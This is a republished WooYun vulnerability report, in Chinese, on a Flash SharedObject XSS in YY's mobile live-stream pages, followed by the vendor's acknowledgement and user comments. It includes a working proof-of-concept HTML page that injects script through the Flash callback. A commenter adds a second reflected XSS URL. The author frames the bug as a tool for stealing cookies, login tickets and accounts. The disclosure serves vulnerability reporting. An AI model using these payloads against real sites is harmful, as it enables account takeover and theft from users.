YY网站的一个xss跨站漏洞（盗号必备）

2015年4月27日20:00:24评论800 views字数 216阅读0分43秒阅读模式

摘要

2014-07-13：细节已通知厂商并且等待厂商处理中
2014-07-15：厂商已经确认，细节仅向厂商公开
2014-07-25：细节向核心白帽子及相关领域专家公开
2014-08-04：细节向普通白帽子公开
2014-08-14：细节向实习白帽子公开
2014-08-27：细节向公众公开

漏洞概要关注数(11) 关注此漏洞

缺陷编号： WooYun-2014-68223

漏洞标题： YY网站的一个xss跨站漏洞（盗号必备）

漏洞作者：菜猿子

提交时间： 2014-07-13 13:55

公开时间： 2014-08-27 13:58

漏洞类型： XSS 跨站脚本攻击

危害等级：高

自评Rank： 20

漏洞状态：厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签：反射型xss flash安全

1人收藏

漏洞详情

披露状态：

简要描述：

YY网站的xss跨站漏洞一枚，可偷摸的盗号

详细说明：

首先感谢 gainover 大神，写的教程很到位。此漏洞完全参考其教程。

话不多说，详细内容请往下看。

暂停一下，上次多玩说好的礼物至今杳无音讯。找个漏洞容易嘛，快把你们网站都翻烂了！

接着看：

这个漏洞是由一个flash文件引起的，文件地址：http://m.yy.com/live/swf/Shareobject.swf?v=1.1

示例网页：http://m.yy.com/live/1980062727/

漏洞证明：

flash文件：http://m.yy.com/live/swf/Shareobject.swf?v=1.1

看一下as代码，使用了SharedObject和addCallback，但是却没有对参数进行任何过滤，于是乎xss就出现了。

code 区域

private function fl_get(param1:uint = 9999) : Object
         {
             var _loc_2:* = SharedObject.getLocal("yy-sharedobject", "/");
             if (!_loc_2.data.shareObj)
             {
                 _loc_2.data.shareObj = {};
             }
             if (!_loc_2.data.shareObj[param1])
             {
                 return null;
             }
             return _loc_2.data.shareObj[param1];
         }// end function

出现问题的网址是娱乐的视频直播页面，示例：

code 区域

http://m.yy.com/live/1980062727/

观察js文件，发现如下代码：

code 区域

function saveViewHisoryToCache() {
  var b = "ent_view_history";
  var a = getShareobjData(b);
  if (!a || a.length == 0) {
   a = [window.liveRoomTopId]
  } else {
   var c = $.inArray(window.liveRoomTopId, a);
   if (c >= 0) {
    a.splice(c, 1)
   }
   a.push(window.liveRoomTopId);
   if (a.length > 18) {
    a.shift()
   }
  }
  saveShareobjData(b, a)
 }

进入页面后会自动读取flash SharedObject的“ent_view_history”项，于是随便建个网页，写上代码

code 区域

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
 <html xmlns="http://www.w3.org/1999/xhtml">
 <head>
 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <script type="text/javascript" src="swfobject.js"></script>
 </head>
 <body>
 <div id="main"></div>
 <script type="text/javascript">
 //flash
 var params = {};
 params.menu = "false";
 params.scale = "noScale";
 params.allowFullscreen = "false";
 params.allowScriptAccess = "always";
 params.bgcolor = "#ffffff";
 params.wmode = "window"; 
 swfobject.embedSWF("http://m.yy.com/live/swf/Shareobject.swf?v=1.1", "main", "600", "600", "10.0.0", "expressInstall.swf", null, params, null);
 function sharedObjectReady(){
  main.j2s_save('1//";alert(document.domain);//1',"ent_view_history")
 }
 </script>
 </body>
 </html>

然后访问以下这个页面，再打开上面那个http://m.yy.com/live/1980062727/，弹出了下图：

执行成功！

下面闲聊几句：

这里有个问题，就是只能使用一次，网站会自动重置存储的内容。不过，很明显这个不是问题的所在，因为一次就够了。

通过代码可以直接获取网站的cookie，然后，更重要的是，还可以通过js代码获取到当前电脑上所有已登录YY一键登录网页所需的ticket，不过这个ticket是否有IP验证我没有测试。

可能你们会说，cookie、ticket是有时效性的，但是在这个有效时间内批量登录、批量盗个Y币开个会员刷个礼物啥的，还是小意思吧。

可能你们还会说，可执行性差，但是相信我，让YY上的人去访问一个网页真的很简单，小白太多了，更何况这个是防不胜防，因为发的网址表面上看一点问题都没有。借用教程里的词汇叫“埋雷式攻击”！

修复方案：

参考这个吧，http://www.cn-sec.com/drops//papers/1426

当然，你们更懂，过滤下吧。

版权声明：转载请注明来源菜猿子@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：10

确认时间：2014-07-15 18:02

厂商回复：

感谢对于欢聚时代安全工作的支持，我们会尽快修复

漏洞评价：

对本漏洞信息进行评价，以更好的反馈信息的价值，包括信息客观性，内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):

登陆后才能进行评分

评价

2014-07-13 14:04 | 超威蓝猫 ( 核心白帽子 | Rank:1133 漏洞数:122 | STEAM_0:0:55968383)

0

http://kf.yy.com/search/#=%22%3e%3cscript%3ealert(1)//

1# 回复此人
2014-07-13 15:08 | 夏殇 ( 实习白帽子 | Rank:44 漏洞数:26 | 不忘初心，方得始终。)

0

@超威蓝猫就你这个啊？

2# 回复此人
2014-07-13 15:45 | 小威 ( 普通白帽子 | Rank:535 漏洞数:87 | 活到老，学到老!)

0

@超威蓝猫人艰不拆！

3# 回复此人
2014-07-13 16:31 | 菜猿子 ( 路人 | Rank:14 漏洞数:2 | 一个还没入门的菜鸟程序猿)

0

@超威蓝猫比这个好玩一点。

4# 回复此人
2014-07-13 16:32 | 小怿 ( 实习白帽子 | Rank:31 漏洞数:7 | )

0

YY现在重视新产品，你说是吧~

5# 回复此人
2014-07-13 16:38 | 菜猿子 ( 路人 | Rank:14 漏洞数:2 | 一个还没入门的菜鸟程序猿)

1

@小怿 @佩佩确切的说，YY现在重视赚(keng)钱...能保证用户的钱不丢就行了。

6# 回复此人
2014-07-15 11:48 | corse ( 路人 | Rank:0 漏洞数:1 )

0

@超威蓝猫屌

7# 回复此人
2014-07-15 18:09 | The soul ( 路人 | Rank:23 漏洞数:12 | ฏ๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎๎...)

0

怎么看看限制了字符的

8# 回复此人
2014-07-15 18:30 | 小怿 ( 实习白帽子 | Rank:31 漏洞数:7 | )

0

@超威蓝猫被修了吧，哈~

9# 回复此人
2014-07-31 01:57 | 佩佩 ( 实习白帽子 | Rank:62 漏洞数:8 | 私人QQ:49658 技术交流Q群:511123 大神土...)

0

@菜猿子缺yb!!缺yb 来点xss!!

10# 回复此人
2014-08-03 11:58 | 小怿 ( 实习白帽子 | Rank:31 漏洞数:7 | )

0

@佩佩缺yb!!缺yb 来点xss!!

11# 回复此人
2014-08-06 15:18 | 菜猿子 ( 路人 | Rank:14 漏洞数:2 | 一个还没入门的菜鸟程序猿)

0

@佩佩 YY的漏洞也就自己玩玩罢了，何必上报给人家添乱呢。人家现在是上市公司，很diao的，不是以前的小作坊了。

12# 回复此人
2014-08-06 16:06 | 小怿 ( 实习白帽子 | Rank:31 漏洞数:7 | )

0

@菜猿子纳斯达克上市的小作坊？

13# 回复此人

漏洞概要 关注数(11) 关注此漏洞

缺陷编号： WooYun-2014-68223

漏洞标题： YY网站的一个xss跨站漏洞（盗号必备）

相关厂商： 广州多玩

漏洞作者： 菜猿子

提交时间： 2014-07-13 13:55

公开时间： 2014-08-27 13:58

漏洞类型： XSS 跨站脚本攻击

危害等级： 高

自评Rank： 20

漏洞状态： 厂商已经确认

漏洞来源：www.wooyun.org ，如有疑问或需要帮助请联系

Tags标签： 反射型xss flash安全

1人收藏

漏洞详情

披露状态：

简要描述：

详细说明：

漏洞证明：

修复方案：

版权声明：转载请注明来源 菜猿子@乌云

漏洞回应

厂商回应：

厂商回复：

最新状态：

漏洞评价：

漏洞评价(共0人评价): 登陆后才能进行评分

评价

发表评论

在线咨询

微信

漏洞概要关注数(11) 关注此漏洞

相关厂商：广州多玩

漏洞作者：菜猿子

危害等级：高

漏洞状态：厂商已经确认

Tags标签：反射型xss flash安全

版权声明：转载请注明来源菜猿子@乌云

漏洞评价(共0人评价):

登陆后才能进行评分